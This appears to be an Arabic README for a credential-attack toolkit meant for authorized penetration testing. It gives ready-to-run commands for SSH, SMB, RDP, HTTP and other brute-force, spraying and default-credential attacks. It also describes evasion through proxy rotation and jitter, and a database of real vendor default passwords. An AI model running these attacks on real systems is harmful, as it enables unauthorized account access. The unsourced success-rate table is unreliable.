
مجموعة كاملة من هجمات بيانات الاعتماد للاختبار الأمني المصرح به — SSH, FTP, Web Login, Bruteforce, Dictionary attacks
# CredAttack — مجموعة أدوات هجمات بيانات الاعتماد
<p align="center">
<img src="https://img.shields.io/badge/release-v1.3.0-brightgreen?style=for-the-badge" alt="Release">
<img src="https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-blue?style=for-the-badge&logo=python" alt="Python">
<img src="https://img.shields.io/badge/protocols-17-orange?style=for-the-badge" alt="Protocols">
<img src="https://img.shields.io/badge/tests-passing-success?style=for-the-badge&logo=pytest" alt="Tests">
<img src="https://img.shields.io/badge/license-SEE--LICENSE-lightgrey?style=for-the-badge" alt="License">
</p>
> **⚠️ إشعار قانوني — اختبارات الأمان المصرّح بها فقط.**
> استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك **إذن كتابي صريح** لاختبارها يُعد غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، والقوانين المكافئة حول العالم. راجع [SECURITY.md](https://github.com/amibhai/credential-attacks-toolkit/blob/main/SECURITY.md).
---
## جدول المحتويات
- [ما هي CredAttack؟](#what-is-credattack)
- [أوضاع الهجوم](#attack-modes)
- [البروتوكولات المدعومة](#supported-protocols)
- [البنية المعمارية](#architecture)
- [بدء سريع](#quick-start)
- [التثبيت](#installation)
- [مرجع سطر الأوامر](#cli-reference)
- [محرك تحويل كلمات المرور](#password-mutation-engine)
- [قاعدة بيانات بيانات الاعتماد الافتراضية](#default-credentials-database)
- [تدوير البروكسي](#proxy-rotation)
- [تقارير HTML](#html-reports)
- [الإعدادات ومتغيرات البيئة](#configuration--environment-variables)
- [Docker](#docker)
- [الاختبار](#testing)
- [هيكل المشروع](#project-structure)
- [المساهمة](#contributing)
---
## ما هي CredAttack؟
CredAttack هي **مجموعة اختبار بيانات اعتماد معيارية وجاهزة للإنتاج** لعمليات اختبار الاختراق المصرّح بها. تغطي دورة حياة هجوم بيانات الاعتماد الكاملة:
| المرحلة | قدرة CredAttack |
|-------|-----------------------|
| **الاستطلاع** | قاعدة بيانات بيانات الاعتماد الافتراضية (أكثر من 200 زوج)، توليد أنماط ذكي مشتق من اسم المستخدم |
| **الهجوم** | 17 مهاجم بروتوكول، 6 أوضاع هجوم، حملات متعددة الأهداف |
| **المراوغة** | كشف الإغلاق، تحديد معدل قابل للتكوين، التذبذب، تدوير البروكسي |
| **إعداد التقارير** | سجل تدقيق JSONL، تقرير HTML بـ Jinja2، لافتة بيانات الاعتماد المكتشفة + تفريغ ملف |
---
## أوضاع الهجوم
| الوضع | الأمر | الوصف |
|------|---------|-------------|
| **القاموس** | `ssh`, `ftp`, `smb`, … | قائمة كلمات ضد مستخدم واحد |
| **الرش** | `spray` | كلمة مرور واحدة عبر قائمة مستخدمين (آمن ضد الإغلاق) |
| **الدمج** | `combo` | كل مستخدم × كل كلمة مرور |
| **الذكي** | `smart` | توليد أنماط مشتق من اسم المستخدم/الشركة |
| **الافتراضيات** | `defaults` | تجربة أكثر من 200 افتراضي معروف للخدمات |
| **متعدد الأهداف** | `multi` | نفس الهجوم عبر قائمة مضيفين |
| **خط أنابيب كامل** | `full` | جميع البروتوكولات، تقرير واحد |
---
## البروتوكولات المدعومة
| # | البروتوكول | الوحدة | المنفذ الافتراضي | ملاحظات |
|---|----------|--------|-------------|-------|
| 1 | SSH | `ssh.py` | 22 | paramiko، مصادقة مفتاح/كلمة مرور |
| 2 | FTP | `ftp.py` | 21 | الوضع النشط والسلبي |
| 3 | نموذج HTTP | `http_form.py` | 80/443 | كشف تلقائي لرمز CSRF |
| 4 | HTTP Basic | `http_basic.py` | 80 | RFC 7617 |
| 5 | HTTP Digest | `http_digest.py` | 80 | RFC 7616 |
| 6 | SMB | `smb.py` | 445 | impacket، NTLM |
| 7 | RDP | `rdp.py` | 3389 | impacket NLA |
| 8 | SMTP | `smtp.py` | 587 | STARTTLS |
| 9 | POP3 | `pop3.py` | 110 | دعم APOP |
| 10 | IMAP | `imap.py` | 143 | STARTTLS |
| 11 | MySQL | `mysql.py` | 3306 | mysql-connector-python |
| 12 | MSSQL | `mssql.py` | 1433 | pymssql |
| 13 | Redis | `redis_proto.py` | 6379 | أمر AUTH |
| 14 | MongoDB | `mongodb.py` | 27017 | pymongo |
| 15 | WinRM | `winrm.py` | 5985 | NTLM، pywinrm |
| 16 | LDAP | `ldap_proto.py` | 389 | ldap3، كشف تلقائي rootDSE |
| 17 | Telnet | `telnet.py` | 23 | TCP خام |
| 18 | VNC | `vnc.py` | 5900 | استجابة تحدي DES خام |
---
## البنية المعمارية
```
credattack.py ← غلاف رفيع: `python credattack.py ...` من نسخة مستخرجة
│
├── credattack/cli.py ← CLI (Typer) — 8 أوامر فرعية لأوضاع الهجوم؛ وأيضاً
│ سكربت وحدة التحكم `credattack` عند التثبيت عبر pip
├── credattack/core/
│ ├── config.py ← إعدادات Pydantic v2، تجاوزات متغيرات البيئة CREDATTACK_*
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + واجهة تقدم Rich)
│ ├── lockout.py ← LockoutDetector (نافذة منزلقة، آمن للخيوط)
│ ├── proxy.py ← ProxyRotator (round-robin، فحص صحي، تخفيض الرتبة)
│ ├── mutator.py ← PasswordMutator (leet، موسمي، لاحقة، مشي لوحة المفاتيح…)
│ ├── result.py ← فئات بيانات AttemptResult + SessionReport
│ ├── report.py ← مولّد تقارير HTML بـ Jinja2
│ └── logger.py ← تسجيل Rich + كاتب تدقيق JSONL
│
├── credattack/protocols/
│ └── *.py ← 18 تنفيذ ProtocolAttacker
│
├── credattack/data/
│ ├── default_creds.json ← أكثر من 200 زوج بيانات اعتماد افتراضية حقيقية
│ ├── smart_patterns.json ← أكثر من 140 قالب كلمة مرور مؤسسية
│ └── wordlists/ ← قوائم كلمات مرور افتراضية لكل خدمة
│
└── tests/ ← أكثر من 50 اختبار pytest (وحدة + محاكاة بروتوكول)
```
---
## بدء سريع
```bash
# الاستنساخ والإعداد
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# التحقق من الإصدار
python credattack.py --version
# تشغيل تجريبي (بدون اتصالات — تحقق من قوائم الكلمات)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# هجوم قاموس SSH حقيقي
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# رش كلمات المرور (محدود المعدل، آمن ضد الإغلاق)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# الوضع الذكي — توليد أنماط من اسم المستخدم + الشركة
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# تجربة افتراضيات الخدمة
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# حملة متعددة الأهداف
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
```
---
## التثبيت
### الخيار أ — pip + virtualenv (موصى به)
```bash
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
```
### الخيار ب — اختصارات Makefile
```bash
make install # التبعيات الأساسية
make install-dev # + pytest-cov, ruff, mypy
```
### الخيار ج — تثبيت pip (قابل للتحرير أو من حزمة)
```bash
pip install -e . # التبعيات الأساسية فقط
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # سكربت وحدة التحكم، مكافئ لـ `python credattack.py`
```
### الخيار د — Docker
```bash
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# تركيب قوائم الكلمات وجمع المخرجات
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
```
---
## مرجع سطر الأوامر
### الخيارات العامة
```
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version عرض الإصدار والخروج.
--help عرض المساعدة.
```
### العلامات الشائعة (متاحة على جميع أوامر البروتوكول)
| العلامة | المختصر | الافتراضي | الوصف |
|------|-------|---------|-------------|
| `--target` | `-t` | — | المضيف / IP الهدف |
| `--port` | | 0 (افتراضي البروتوكول) | تجاوز منفذ TCP |
| `--username` | `-u` | — | اسم مستخدم واحد |
| `--user-file` | `-U` | — | ملف أسماء مستخدمين مفصولة بأسطر جديدة |
| `--pass-file` | `-P` | — | ملف كلمات مرور مفصولة بأسطر جديدة |
| `--password` | `-p2` | — | كلمة مرور واحدة |
| `--threads` | `-n` | 10 | عمال متزامنون |
| `--timeout` | `-T` | 5.0 | مهلة كل محاولة (ثانية) |
| `--delay` | `-d` | 0.0 | تأخير ثابت بين المحاولات (ثانية) |
| `--jitter` | | 0.0 | أقصى تذبذب عشوائي (ثانية) |
| `--stop-on-first` | | True | التوقف لكل مستخدم بعد أول نجاح |
| `--proxy-file` | | None | قائمة بروكسي HTTP/SOCKS5 |
| `--output-dir` | `-o` | `./output` | دليل النتائج |
| `--verbosity` | `-v` | 1 | مستوى التسجيل (0-3) |
| `--dry-run` | | False | عد الأزواج دون الاتصال |
### الأوامر الفرعية
```bash
# خاص بالبروتوكول (كل واحد يرتبط بمهاجم مخصص)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (نموذج / basic / digest)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# الرش — كلمة مرور واحدة، مستخدمون كثيرون، تأخير طويل
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# الدمج — حاصل الضرب الديكارتي مستخدمون × كلمات مرور
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# الذكي — توليد مشتق من OSINT
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# الافتراضيات — تجربة بيانات اعتماد افتراضية من البائع
python credattack.py defaults -t HOST --protocol mysql
# المتعدد — نفس الهجوم عبر مضيفين متعددين
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# الكامل — جميع البروتوكولات بالتسلسل
python credattack.py full -t HOST -U users.txt -P passes.txt
```
---
## محرك تحويل كلمات المرور
يدعم `PasswordMutator` في `credattack/core/mutator.py` استراتيجيات قابلة للتركيب:
| الاستراتيجية | الطريقة | مثال المخرجات |
|----------|--------|----------------|
| لغة Leet | `leet_speak(word)` | `p@ssw0rd`, `p455w0rd` |
| الأحرف الكبيرة | `capitalise_variants(word)` | `PASSWORD`, `Password`, `pAsSwOrD` |
| اللاحقة | `suffix_append(word)` | `password123`, `password@2025` |
| البادئة | `prefix_append(word)` | `!password`, `mypassword` |
| مشي لوحة المفاتيح | `keyboard_walk(word)` | `qassword` (a→q) |
| أنماط اسم المستخدم | `username_patterns(user, company)` | `john123`, `Doe1!`, `ACME2024!` |
| **الموسمي** (v1.1) | `seasonal_patterns(company)` | `Summer2024!`, `Winter25` |
| **تغليف الأحرف الخاصة** (v1.1) | `special_char_wrap(word)` | `!@Password`, `Password!@` |
| الدمج | `combine(word, strategies)` | يربط أي مما سبق |
| الذكي (الكل في واحد) | `smart_generate(user, company)` | تدفق بدون تكرار وبسقف محدد |
```python
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# جميع الاستراتيجيات مجتمعة
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# الأنماط الموسمية فقط
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
```
---
## قاعدة بيانات بيانات الاعتماد الافتراضية
يحتوي `credattack/data/default_creds.json` على **أكثر من 200 زوج بيانات اعتماد افتراضية حقيقية** عبر:
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
```bash
# عرض جميع الافتراضيات لخدمة معينة
python credattack.py defaults -t HOST --protocol mysql --dry-run
# التشغيل ضد الهدف
python credattack.py defaults -t 10.0.0.1 --protocol ssh
```
---
## تدوير البروكسي
مرر ملف بروكسي (بروكسي واحد لكل سطر، بصيغة `host:port`):
```
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
```
```bash
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
```
يقوم `ProxyRotator` بإجراء فحوصات صحية عند بدء التشغيل ويخفض رتبة البروكسيات التي تتجاوز عتبة معدل الفشل. يتم استبعاد البروكسيات الميتة تلقائياً.
---
## تقارير HTML
بعد كل هجوم غير تجريبي يتم إنشاء تقرير HTML تلقائياً في `./output/`:
- **بطاقات إحصائية**: إجمالي المحاولات، معدل النجاح، المدة، المحاولات/الثانية
- **جدول بيانات الاعتماد المكتشفة**: المضيف · البروتوكول · اسم المستخدم · كلمة المرور (نسخ إلى الحافظة)
- **قالب Jinja2 بسمة داكنة**
```bash
# الفتح بعد التشغيل
start output/report_*.html # Windows
open output/report_*.html # macOS
```
---
## الإعدادات ومتغيرات البيئة
يمكن تجاوز جميع الإعدادات في `credattack/core/config.py` عبر متغيرات البيئة `CREDATTACK_*`:
```bash
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
```
أو على مستوى CLI بالعلامات القياسية (`--threads`, `--timeout`, إلخ).
---
## Docker
```bash
# بناء الصورة
docker build -t credattack -f docker/Dockerfile .
# التشغيل مع Docker Compose
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# ضبط الإعدادات عبر البيئة
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
```
---
## الاختبار
```bash
# تشغيل جميع الاختبارات
pytest -q
# مع التغطية
pytest --cov=credattack --cov-report=term-missing -q
# اختصار Makefile
make test-cov
```
**المجموعة الحالية: أكثر من 50 اختباراً** تغطي:
| المجال | الاختبارات |
|------|-------|
| كاشف الإغلاق (نافذة منزلقة، أمان الخيوط) | `test_lockout.py` |
| استراتيجيات محول كلمات المرور | `test_mutator.py` |
| استراتيجيات المحول الجديدة (موسمي، أحرف خاصة) | `test_mutator_extended.py` |
| مدوّر البروكسي (فحص صحي، تخفيض رتبة) | `test_proxy.py` |
| فئات بيانات Result و SessionReport | `test_result.py` |
| محاكاة بروتوكول SSH | `test_protocols_ssh.py` |
| محاكاة بروتوكول FTP | `test_protocols_ftp.py` |
| محاكاة HTTP Basic و Digest | `test_protocols_http.py` |
---
## قوائم الكلمات
> **⚠️ ملفات `wordlists/` المرفقة هي نماذج اختبار دخان ضئيلة.** قم بتوفير ملفاتك الخاصة للتقييمات الحقيقية.
### مصادر موصى بها
| قائمة الكلمات | الحجم | الأفضل لـ |
|----------|------|----------|
| `rockyou.txt` | ~14 M | قاموس عام |
| `SecLists/Passwords/` | متنوع | خاص بالبروتوكول |
| `kaonashi.txt` | ~64 M | تغطية متقدمة |
| مشتق من OSINT | متغير | هجمات مستهدفة |
```bash
# استخدام أي قائمة كلمات خارجية
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
```
---
## هيكل المشروع
```
credential-attacks-toolkit/
├── credattack.py # غلاف رفيع -> credattack.cli:app (استخدام نسخة المصدر)
├── pyproject.toml # إعداد بناء وأدوات PEP 517/518
├── requirements.txt # تبعيات التشغيل
├── Makefile # اختصارات المطور
├── VERSION # مصدر واحد لحقيقة الإصدار
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: lint + مصفوفة اختبار + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — معبأ، يدعم سكربت وحدة التحكم
│ ├── core/
│ │ ├── config.py # إعدادات Pydantic v2
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (نافذة منزلقة)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # مولّد تقارير HTML
│ │ └── logger.py # مسجل Rich + كاتب JSONL
│ ├── protocols/ # 18 تنفيذ ProtocolAttacker
│ │ └── base.py # ProtocolAttacker مجرد
│ └── data/
│ ├── default_creds.json # أكثر من 200 افتراضي من البائعين
│ ├── smart_patterns.json # أكثر من 140 قالب مؤسسي
│ └── wordlists/ # قوائم بداية لكل خدمة
├── attacks/ # أدوات ملف واحد مستقلة (تسبق credattack/؛
│ └── *.py # محفوظة للنصوص غير المنقولة بعد: تكسير JWT،
│ # كشف WAF، تعداد المستخدمين بتوقيت)
├── utils/
│ └── credential_utils.py # مساعدات مشتركة لنصوص attacks/
├── tests/
│ ├── conftest.py # تركيبات مشتركة
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # نماذج اختبار دخان ضئيلة
└── output/ # السجلات والتقارير المولدة (مستثناة من git)
```
---
## معدلات نجاح الهجوم (استرشادية)
| نوع كلمة المرور | القاموس | الوضع الذكي | الرش (شائع) |
|---------------|-----------|------------|----------------|
| 4 أحرف | ~90% | ~95% | ~60% |
| 6 أحرف | ~65% | ~75% | ~25% |
| 8 أحرف مختلطة | ~15% | ~25% | ~5% |
| 10+ أحرف معقدة | <5% | <5% | <1% |
---
## المساهمة
راجع [CONTRIBUTING.md](https://github.com/amibhai/credential-attacks-toolkit/blob/main/CONTRIBUTING.md).
يرجى فتح مشكلة قبل تقديم طلبات سحب كبيرة.
يجب أن تلتزم جميع المساهمات بسياسة الاستخدام الأخلاقي في [SECURITY.md](https://github.com/amibhai/credential-attacks-toolkit/blob/main/SECURITY.md).
---
**استخدم بمسؤولية. اختبر أخلاقياً. ابق قانونياً.**